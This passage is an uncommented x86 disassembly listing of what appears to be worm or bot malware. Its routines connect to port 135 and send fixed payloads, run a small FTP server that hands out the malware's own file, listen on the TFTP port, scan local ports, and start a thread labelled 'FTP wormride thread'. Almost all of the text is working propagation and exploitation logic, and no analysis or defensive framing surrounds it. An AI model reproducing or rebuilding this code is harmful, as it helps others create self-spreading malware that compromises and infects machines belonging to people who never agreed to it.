[ebp+var_66], 0Bh pop eax mov [ebp+var_65], 3 mov [ebp+var_5C], eax mov [ebp+var_50], eax mov [ebp+var_4A], al mov [ebp+var_38], eax push esi lea eax, [ebp+var_48] push offset dword_41551C push eax mov [ebp+var_64], esi mov [ebp+var_60], 48h mov [ebp+var_5E], di mov [ebp+var_58], 10B8h mov [ebp+var_56], 10B8h mov [ebp+var_54], edi mov [ebp+var_4C], di call sub_410838 ; memcpy push esi lea eax, [ebp+var_34] push offset dword_415508 push eax mov [ebp+var_24], 2 call sub_410838 ; memcpy add esp, 24h lea eax, [ebp+var_6C] push edi push eax lea eax, [ebp+var_68] push 48h push eax push [ebp+var_4] call ds:dword_411070 ; WriteFile test eax, eax jz short loc_40C58C lea eax, [ebp+var_CEBC] push eax call sub_410B18 ; wcslen lea eax, [eax+eax+12h] pop ecx test al, 3 mov [ebp+arg_4], eax jz short loc_40C540 loc_40C537: ; CODE XREF: sub_40C225+319j inc [ebp+arg_4] test byte ptr [ebp+arg_4], 3 jnz short loc_40C537 loc_40C540: ; CODE XREF: sub_40C225+310j cmp byte ptr (loc_4154EF+1)[ebx], 0 push 4 pop esi jz short loc_40C54F add [ebp+arg_4], esi loc_40C54F: ; CODE XREF: sub_40C225+325j lea eax, [ebp+var_8EBC] push eax call sub_410B18 ; wcslen pop ecx mov ecx, [ebp+arg_4] lea eax, [ecx+eax*2+0Eh] loc_40C563: ; CODE XREF: sub_40C225+343j test al, 3 jz short loc_40C56A inc eax jmp short loc_40C563 ; --------------------------------------------------------------------------- loc_40C56A: ; CODE XREF: sub_40C225+340j add eax, 8 cmp byte ptr (loc_4154EF+1)[ebx], 0 jz short loc_40C57A add eax, esi jmp short loc_40C57C ; --------------------------------------------------------------------------- loc_40C57A: ; CODE XREF: sub_40C225+34Fj inc eax inc eax loc_40C57C: ; CODE XREF: sub_40C225+353j push eax mov [ebp+arg_4], eax call sub_41082C ; malloc mov ebx, eax pop ecx cmp ebx, edi jnz short loc_40C59A loc_40C58C: ; CODE XREF: sub_40C225+2F8j push [ebp+var_4] call ds:dword_4110AC ; CloseHandle jmp loc_40C48A ; --------------------------------------------------------------------------- loc_40C59A: ; CODE XREF: sub_40C225+365j push [ebp+arg_4] push edi push ebx call sub_410850 ; memset push esi push offset dword_415498 push ebx call sub_410838 ; memcpy lea eax, [ebp+var_CEBC] push eax call sub_410B18 ; wcslen inc eax mov [ebx+0Ch], eax mov [ebx+8], edi mov eax, [ebx+0Ch] mov [ebx+4], eax lea eax, [ebp+var_CEBC] push eax lea eax, [ebx+10h] push eax call sub_410B1E ; wcscpy lea eax, [ebp+var_CEBC] push eax call sub_410B18 ; wcslen lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+arg_0], eax jz short loc_40C5FB loc_40C5F3: ; CODE XREF: sub_40C225+3D1j inc eax test al, 3 jnz short loc_40C5F3 mov [ebp+arg_0], eax loc_40C5FB: ; CODE XREF: sub_40C225+3CCj mov ecx, [ebp+var_8] cmp byte ptr (loc_4154EF+1)[ecx], 0 jz short loc_40C61E push esi add eax, ebx push offset dword_4154A0 push eax call sub_410838 ; memcpy add esp, 0Ch add [ebp+arg_0], esi mov eax, [ebp+arg_0] loc_40C61E: ; CODE XREF: sub_40C225+3E0j lea esi, [eax+ebx] lea eax, [ebp+var_8EBC] push eax call sub_410B18 ; wcslen inc eax add [ebp+arg_0], 0Ch mov [esi+8], eax mov [esi+4], edi mov eax, [esi+8] mov [esi], eax lea eax, [ebp+var_8EBC] push eax mov eax, [ebp+arg_0] add eax, ebx push eax call sub_410B1E ; wcscpy lea eax, [ebp+var_8EBC] push eax call sub_410B18 ; wcslen mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+arg_0], eax jz short loc_40C674 loc_40C66C: ; CODE XREF: sub_40C225+44Aj inc eax test al, 3 jnz short loc_40C66C mov [ebp+arg_0], eax loc_40C674: ; CODE XREF: sub_40C225+445j push 8 add eax, ebx push edi push eax call sub_410850 ; memset mov eax, [ebp+arg_0] mov esi, [ebp+var_8] add esp, 0Ch add eax, 8 cmp byte ptr (loc_4154EF+1)[esi], 0 jz short loc_40C699 mov [eax+ebx], edi jmp short loc_40C69F ; --------------------------------------------------------------------------- loc_40C699: ; CODE XREF: sub_40C225+46Dj mov word ptr [eax+ebx], 1 loc_40C69F: ; CODE XREF: sub_40C225+472j push 18h lea eax, [ebp+var_20] push edi push eax call sub_410850 ; memset add esp, 0Ch mov cl, byte ptr (loc_4154EF+1)[esi] and [ebp+var_1F], 0 and [ebp+var_1E], 0 push 1 mov [ebp+var_16], di pop eax mov [ebp+var_C], di push eax push 10B8h push [ebp+arg_4] lea esi, [ebp+var_20] neg cl sbb ecx, ecx push ebx and ecx, 2 sub esp, 18h add ecx, 19h mov [ebp+var_20], 5 push 6 mov [ebp+var_A], cx pop ecx mov [ebp+var_1D], 3 mov edi, esp push [ebp+var_4] mov [ebp+var_1C], 10h mov [ebp+var_14], eax rep movsd call sub_40C146 add esp, 2Ch test eax, eax jnz short loc_40C711 xor esi, esi jmp short loc_40C714 ; --------------------------------------------------------------------------- loc_40C711: ; CODE XREF: sub_40C225+4E6j push 1 pop esi loc_40C714: ; CODE XREF: sub_40C225+4EAj push [ebp+var_4] call ds:dword_4110AC ; CloseHandle push ebx call sub_410832 ; free pop ecx xor edi, edi loc_40C726: ; CODE XREF: sub_40C225+267j push edi push edi push [ebp+var_78] call dword_417BA4 mov eax, esi jmp short loc_40C738 ; --------------------------------------------------------------------------- loc_40C735: ; CODE XREF: sub_40C225+18j ; sub_40C225+24j push 1 pop eax loc_40C738: ; CODE XREF: sub_40C225+85j ; sub_40C225+50Ej pop edi pop esi pop ebx leave retn sub_40C225 endp ; =============== S U B R O U T I N E ======================================= sub_40C73D proc near ; DATA XREF: .data:004168B8o ; .data:0041692Co arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40C225 pop ecx test eax, eax pop ecx jnz short locret_40C75A push eax push [esp+4+arg_0] call sub_40C225 pop ecx pop ecx locret_40C75A: ; CODE XREF: sub_40C73D+Fj retn sub_40C73D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C75B proc near ; CODE XREF: sub_40C794+131p ; sub_40C794+15Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40C789 loc_40C76C: ; CODE XREF: sub_40C75B+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_410AFA ; memcmp add esp, 0Ch test eax, eax jz short loc_40C78F inc esi cmp esi, edi jl short loc_40C76C loc_40C789: ; CODE XREF: sub_40C75B+Fj xor eax, eax loc_40C78B: ; CODE XREF: sub_40C75B+37j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40C78F: ; CODE XREF: sub_40C75B+27j push 1 pop eax jmp short loc_40C78B sub_40C75B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C794 proc near ; CODE XREF: sub_40B27D+19p ; sub_40C225+68p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_4108B0 mov eax, [ebp+arg_4] push ebx push esi dec eax push edi jz short loc_40C7DF dec eax jz short loc_40C7B5 dec eax loc_40C7AE: ; CODE XREF: sub_40C794+61j xor eax, eax loc_40C7B0: ; CODE XREF: sub_40C794+49j ; sub_40C794+176j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C7B5: ; CODE XREF: sub_40C794+17j push 2710h push 0 push offset a5000 ; "5000" push [ebp+arg_0] call sub_403BBB mov esi, eax push esi call sub_403D27 mov eax, esi add esp, 14h neg eax sbb eax, eax and eax, 3 jmp short loc_40C7B0 ; --------------------------------------------------------------------------- loc_40C7DF: ; CODE XREF: sub_40C794+14j push 6 push 1 push 2 call ds:dword_41122C ; socket mov edi, eax or ebx, 0FFFFFFFFh cmp edi, ebx mov [ebp+arg_4], edi jz short loc_40C7AE xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_410850 ; memset add esp, 0Ch mov [ebp+var_10], 2 push 87h call ds:dword_411248 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_411254 ; inet_addr mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_411208 ; connect cmp eax, ebx jz loc_40C8FF push esi push 48h push offset dword_415558 push edi call ds:dword_411220 ; send cmp eax, ebx jz loc_40C8FF mov edi, 2000h push esi mov esi, ds:dword_411258 lea eax, [ebp+var_2010] push edi push eax push [ebp+arg_4] call esi ; recv cmp eax, ebx jnz short loc_40C879 loc_40C872: ; CODE XREF: sub_40C794+ECj ; sub_40C794+102j ... xor esi, esi jmp loc_40C8FF ; --------------------------------------------------------------------------- loc_40C879: ; CODE XREF: sub_40C794+DCj cmp [ebp+var_200E], 0Ch jnz short loc_40C872 push 0 push 18h push offset dword_4155A4 push [ebp+arg_4] call ds:dword_411220 ; send cmp eax, ebx jz short loc_40C872 push 0 lea eax, [ebp+var_2010] push edi push eax push [ebp+arg_4] call esi ; recv mov esi, eax cmp esi, ebx jz short loc_40C872 cmp [ebp+var_200E], 2 jnz short loc_40C872 push 10h push offset loc_4155C0 lea eax, [ebp+var_2010] push esi push eax call sub_40C75B add esp, 10h test eax, eax jz short loc_40C8DF xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_40C8FD ; --------------------------------------------------------------------------- loc_40C8DF: ; CODE XREF: sub_40C794+13Bj push 10h push offset dword_4155D4 lea eax, [ebp+var_2010] push esi push eax call sub_40C75B add esp, 10h neg eax sbb eax, eax and eax, 3 loc_40C8FD: ; CODE XREF: sub_40C794+149j mov esi, eax loc_40C8FF: ; CODE XREF: sub_40C794+A4j ; sub_40C794+BBj ... push [ebp+arg_4] call ds:dword_411240 ; closesocket mov eax, esi jmp loc_40C7B0 sub_40C794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C90F proc near ; CODE XREF: sub_40B7A2+188p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] xor ebx, ebx cmp esi, ebx push edi jnz short loc_40C944 xor esi, esi cmp [ebp+arg_4], ebx jbe short loc_40C9A0 loc_40C925: ; CODE XREF: sub_40C90F+31j push 21h push ebx call sub_40AADE mov al, byte_4155F0[eax+eax*4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, [ebp+arg_4] jb short loc_40C925 jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C944: ; CODE XREF: sub_40C90F+Dj cmp esi, 7Fh jnz short loc_40C96F xor esi, esi cmp [ebp+arg_4], ebx jbe short loc_40C9A0 loc_40C950: ; CODE XREF: sub_40C90F+5Cj push 6 push ebx call sub_40AADE mov al, byte_4155F0[eax+eax*4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, [ebp+arg_4] jb short loc_40C950 jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C96F: ; CODE XREF: sub_40C90F+38j xor edi, edi cmp [ebp+arg_4], ebx jbe short loc_40C9A0 loc_40C976: ; CODE XREF: sub_40C90F+8Fj push 21h push ebx call sub_40AADE movsx eax, al pop ecx lea eax, [eax+eax*4] pop ecx test dword_4155F1[eax], esi jnz short loc_40C99B mov ecx, [ebp+arg_0] mov al, byte_4155F0[eax] mov [edi+ecx], al inc edi loc_40C99B: ; CODE XREF: sub_40C90F+7Dj cmp edi, [ebp+arg_4] jb short loc_40C976 loc_40C9A0: ; CODE XREF: sub_40C90F+14j ; sub_40C90F+33j ... pop edi pop esi pop ebx pop ebp retn sub_40C90F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A5 proc near ; CODE XREF: sub_40CA47+40Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h push ebx push esi push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_403BBB mov ebx, eax add esp, 10h test ebx, ebx jz short loc_40C9EE cmp ebx, 0FFFFFFFFh jz short loc_40C9EE push offset aRb ; "rb" push offset dword_41885C call sub_41086E ; fopen mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_40C9F4 push ebx call sub_403D49 pop ecx loc_40C9EE: ; CODE XREF: sub_40C9A5+24j ; sub_40C9A5+29j xor eax, eax loc_40C9F0: ; CODE XREF: sub_40C9A5+A0j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C9F4: ; CODE XREF: sub_40C9A5+40j push edi loc_40C9F5: ; CODE XREF: sub_40C9A5+7Fj test byte ptr [esi+0Ch], 10h jnz short loc_40CA31 push esi push 200h lea eax, [ebp+var_200] push 1 push eax call sub_410880 ; fread mov edi, eax lea eax, [ebp+var_200] push edi push eax push ebx call sub_403D54 add esp, 1Ch cmp edi, eax jz short loc_40C9F5 push ebx call sub_403D49 pop ecx xor edi, edi jmp short loc_40CA3B ; --------------------------------------------------------------------------- loc_40CA31: ; CODE XREF: sub_40C9A5+54j push ebx call sub_403D27 pop ecx push 1 pop edi loc_40CA3B: ; CODE XREF: sub_40C9A5+8Aj push esi call sub_410868 ; fclose pop ecx mov eax, edi pop edi jmp short loc_40C9F0 sub_40C9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA47 proc near ; DATA XREF: sub_40D09D+CBo var_530 = byte ptr -530h var_330 = byte ptr -330h var_32F = byte ptr -32Fh var_230 = byte ptr -230h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 530h push ebx push esi push edi mov esi, 200h push offset dword_4161A8 lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen mov ebx, [ebp+arg_0] push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 mov dl, byte_417B60 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_32F] mov [ebp+var_330], dl rep stosd stosw stosb xor eax, eax lea edi, [ebp+var_13] mov [ebp+var_14], dl push 0EA60h stosd stosb xor eax, eax push ebx mov [ebp+arg_0], eax mov [ebp+var_18], eax mov [ebp+var_C], eax call sub_403DD6 add esp, 24h loc_40CAC6: ; CODE XREF: sub_40CA47+3C2j test eax, eax jz loc_40CF00 lea eax, [ebp+var_530] push esi push eax push ebx call sub_403D69 add esp, 0Ch test eax, eax jz loc_40CF00 cmp eax, 0FFFFFFFFh jz loc_40CF00 lea eax, [ebp+var_C] mov edi, offset dword_4161A4 push eax lea eax, [ebp+var_530] push edi push eax call sub_405733 add esp, 0Ch mov [ebp+var_8], eax test eax, eax jz loc_40CDFC lea eax, [ebp+var_C] push eax push edi push 0 call sub_405733 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_40CB31 mov [ebp+var_4], offset byte_417B60 loc_40CB31: ; CODE XREF: sub_40CA47+E1j lea eax, [ebp+var_C] push eax push edi push 0 call sub_405733 push [ebp+var_8] call sub_409CCF add esp, 10h cmp eax, dword_416198 jnz short loc_40CB61 mov [ebp+arg_0], 1 push offset dword_416190 jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CB61: ; CODE XREF: sub_40CA47+107j cmp eax, dword_416184 jnz short loc_40CB7A mov [ebp+var_18], 1 push offset dword_41617C jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CB7A: ; CODE XREF: sub_40CA47+120j cmp [ebp+arg_0], 0 jz loc_40CDFC cmp [ebp+var_18], 0 jz loc_40CDFC cmp eax, dword_416170 jnz short loc_40CBA0 push offset dword_416168 jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CBA0: ; CODE XREF: sub_40CA47+14Dj cmp eax, dword_41615C jnz short loc_40CBB2 push offset dword_416154 jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CBB2: ; CODE XREF: sub_40CA47+15Fj cmp eax, dword_41614C jnz short loc_40CBC4 push offset dword_416140 jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CBC4: ; CODE XREF: sub_40CA47+171j cmp eax, dword_416134 jz loc_40CC5B cmp eax, dword_416128 jnz short loc_40CBE2 push offset dword_416120 jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CBE2: ; CODE XREF: sub_40CA47+18Fj cmp eax, dword_416114 jnz short loc_40CC65 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_28] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_4] call sub_410892 ; sscanf movzx eax, [ebp+var_30] add esp, 20h push eax movzx eax, [ebp+var_24] push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_28] push eax push offset dword_412A58 lea eax, [ebp+var_330] push 100h push eax call sub_41089E ; _snprintf xor eax, eax add esp, 1Ch mov ah, [ebp+var_2C] mov al, [ebp+var_20] push eax push offset dword_4160FC lea eax, [ebp+var_14] push 6 push eax call sub_41089E ; _snprintf add esp, 10h loc_40CC5B: ; CODE XREF: sub_40CA47+183j push offset dword_4160F4 jmp loc_40CDD2 ; --------------------------------------------------------------------------- loc_40CC65: ; CODE XREF: sub_40CA47+1A1j cmp eax, dword_4160E8 jnz short loc_40CCE5 push offset aRb ; "rb" push offset dword_41885C call sub_41086E ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz loc_40CF00 push 2 push 0 push edi call sub_410886 ; fseek push edi call sub_41085C ; ftell push 0 push 0 push edi mov [ebp+var_8], eax call sub_410886 ; fseek push edi call sub_410868 ; fclose add esp, 20h lea eax, [ebp+var_230] push [ebp+var_8] push offset dword_4160DC push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 add esp, 20h jmp loc_40CDFC ; --------------------------------------------------------------------------- loc_40CCE5: ; CODE XREF: sub_40CA47+224j cmp eax, dword_4160D0 jnz loc_40CE0E push offset a150 ; "150 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 push 2710h lea eax, [ebp+var_14] push 0 push eax lea eax, [ebp+var_330] push eax call sub_403BBB add esp, 2Ch mov [ebp+var_4], eax test eax, eax jz loc_40CF00 cmp eax, 0FFFFFFFFh jz loc_40CF00 push offset aRb ; "rb" push offset dword_41885C call sub_41086E ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz loc_40CF00 push 2 push 0 push edi call sub_410886 ; fseek push edi call sub_41085C ; ftell push 0 push 0 push edi mov [ebp+var_8], eax call sub_410886 ; fseek push edi call sub_410868 ; fclose add esp, 20h lea eax, [ebp+var_230] push offset dword_41885C push [ebp+var_8] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push [ebp+var_4] call sub_403D54 push [ebp+var_4] call sub_403D27 add esp, 28h push offset dword_41604C loc_40CDD2: ; CODE XREF: sub_40CA47+115j ; sub_40CA47+12Ej ... lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 add esp, 1Ch loc_40CDFC: ; CODE XREF: sub_40CA47+C7j ; sub_40CA47+137j ... push 0EA60h push ebx call sub_403DD6 pop ecx pop ecx jmp loc_40CAC6 ; --------------------------------------------------------------------------- loc_40CE0E: ; CODE XREF: sub_40CA47+2A4j cmp eax, dword_416040 jnz loc_40CEC9 push offset a150 ; "150 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_330] push eax call sub_40C9A5 add esp, 24h test eax, eax jz loc_40CF00 push offset dword_41604C lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 push 1 push offset dword_418838 call sub_406AFA add esp, 24h lea ecx, [ebp+var_330] inc eax push ecx push eax push offset aFtp_0 ; "ftp" push offset unk_416014 push offset dword_4177EC call sub_408CDE add esp, 14h push 3E8h call ds:dword_4110A4 ; Sleep jmp short loc_40CF00 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CA47+3CDj cmp eax, dword_416008 jnz short loc_40CF00 push offset a221 ; "221 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 add esp, 1Ch loc_40CF00: ; CODE XREF: sub_40CA47+81j ; sub_40CA47+9Aj ... push offset a231 ; "231 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_230] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D54 push ebx call sub_403D27 add esp, 20h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40CA47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF3E proc near ; CODE XREF: sub_40D09D+58p var_20C = dword ptr -20Ch var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push esi push edi mov edi, [ebp+arg_0] push 32h push edi call sub_403DD6 pop ecx test eax, eax pop ecx jz loc_40D097 mov esi, 200h lea eax, [ebp+var_200] push esi push eax push edi call sub_403D69 add esp, 0Ch test eax, eax jz loc_40D097 cmp eax, 0FFFFFFFFh jz loc_40D097 lea eax, [ebp+var_200] push eax call sub_40539D lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4161D0 push eax call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz loc_40D097 lea eax, [ebp+var_200] push offset dword_4161C4 push eax call sub_410844 ; sprintf lea eax, [ebp+var_200] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_200] push eax push edi call sub_403D54 push 32h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DAD add esp, 28h test eax, eax jz loc_40D097 cmp eax, 0FFFFFFFFh jz loc_40D097 lea eax, [ebp+var_200] push eax call sub_40539D lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4161C0 push eax call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40D097 call sub_40AB05 push eax lea eax, [ebp+var_200] push offset dword_4161B4 push eax call sub_410844 ; sprintf lea eax, [ebp+var_200] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_200] push eax push edi call sub_403D54 push 32h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DAD add esp, 2Ch test eax, eax jz short loc_40D097 cmp eax, 0FFFFFFFFh jz short loc_40D097 lea eax, [ebp+var_200] push eax call sub_40539D lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4161B0 push eax call sub_410AEE ; strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40D099 ; --------------------------------------------------------------------------- loc_40D097: ; CODE XREF: sub_40CF3E+1Aj ; sub_40CF3E+38j ... xor eax, eax loc_40D099: ; CODE XREF: sub_40CF3E+157j pop edi pop esi leave retn sub_40CF3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D09D proc near ; CODE XREF: seg000:0040D1ABp var_1B0 = dword ptr -1B0h var_1AC = byte ptr -1ACh var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1B0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h xor ebx, ebx push 1 pop edi loc_40D0CD: ; CODE XREF: sub_40D09D+83j lea eax, [ebp+var_8] push 0Ah push eax push edi call sub_410C9A ; _itoa push 0FFFFFFFFh lea eax, [ebp+var_8] push 0 push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_403BBB mov esi, eax add esp, 1Ch test esi, esi jz short loc_40D119 push esi call sub_40CF3E test eax, eax pop ecx jz short loc_40D112 lea eax, [ebp+var_8] push 2 push eax call sub_4035FB mov ebx, eax pop ecx test ebx, ebx pop ecx jz short loc_40D126 loc_40D112: ; CODE XREF: sub_40D09D+60j push esi call sub_403D49 pop ecx loc_40D119: ; CODE XREF: sub_40D09D+55j inc edi cmp edi, 0FFFFh jb short loc_40D0CD test ebx, ebx jnz short loc_40D133 loc_40D126: ; CODE XREF: sub_40D09D+73j push [ebp+var_1B0] call sub_406753 jmp short loc_40D19D ; --------------------------------------------------------------------------- loc_40D133: ; CODE XREF: sub_40D09D+87j mov eax, [ebp+var_1B0] push dword ptr [eax] lea eax, [ebp+var_1AC] push offset unk_4161D4 push eax call sub_408D50 add esp, 0Ch loc_40D14F: ; CODE XREF: sub_40D09D+ECj push 3E8h push ebx call sub_40371E mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40D17F cmp esi, 0FFFFFFFFh jz short loc_40D17F push esi push offset sub_40CA47 call sub_406541 pop ecx test eax, eax pop ecx jnz short loc_40D17F push esi call sub_403D49 pop ecx loc_40D17F: ; CODE XREF: sub_40D09D+C3j ; sub_40D09D+C8j ... mov eax, [ebp+var_1B0] cmp dword ptr [eax+4], 0 jz short loc_40D14F push ebx call sub_4038E1 push [ebp+var_1B0] call sub_406753 pop ecx loc_40D19D: ; CODE XREF: sub_40D09D+94j pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40D09D endp ; --------------------------------------------------------------------------- loc_40D1A7: ; DATA XREF: sub_40D1B3+3Eo push dword ptr [esp+4] call sub_40D09D retn 4 ; =============== S U B R O U T I N E ======================================= sub_40D1B3 proc near ; CODE XREF: sub_40735A+2DEp ; sub_40735A:loc_407658p arg_0 = dword ptr 4 push esi call sub_4032EF test eax, eax jnz short loc_40D1FF push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40D1FF push edi mov edi, [esp+8+arg_0] lea eax, [esi+4] push edi push eax call sub_403E60 xor eax, eax pop ecx cmp [edi+18Bh], al pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" setz al push eax push esi push offset loc_40D1A7 call sub_40663C add esp, 10h pop edi loc_40D1FF: ; CODE XREF: sub_40D1B3+8j ; sub_40D1B3+19j pop esi retn sub_40D1B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D201 proc near ; DATA XREF: sub_40D5AA+35o var_D7C = dword ptr -0D7Ch var_D78 = dword ptr -0D78h var_578 = byte ptr -578h var_478 = dword ptr -478h var_474 = byte ptr -474h var_2D0 = byte ptr -2D0h var_2CF = byte ptr -2CFh var_2CE = byte ptr -2CEh var_2CD = byte ptr -2CDh var_2CC = byte ptr -2CCh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_CA = byte ptr -0CAh var_C9 = byte ptr -0C9h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D7Ch push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_478] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h xor ebx, ebx push ebx push 2 pop esi push esi push esi call ds:dword_41122C ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40D595 lea eax, [ebp+var_578] push eax call sub_40882C push eax call sub_403443 push 10h lea eax, [ebp+var_3C] push ebx push eax call sub_410850 ; memset add esp, 14h mov [ebp+var_3C], si push 45h call ds:dword_411248 ; htons mov [ebp+var_3A], ax lea eax, [ebp+var_578] push eax call ds:dword_411254 ; inet_addr mov [ebp+var_38], eax lea eax, [ebp+var_10] push 4 push eax push 4 push 0FFFFh push edi mov [ebp+var_10], 1 call ds:dword_411218 ; setsockopt lea eax, [ebp+var_3C] push 10h push eax push edi call ds:dword_41121C ; bind cmp eax, 0FFFFFFFFh jz loc_40D595 push offset aRb ; "rb" push offset dword_41885C call sub_41086E ; fopen pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jnz short loc_40D2D8 push 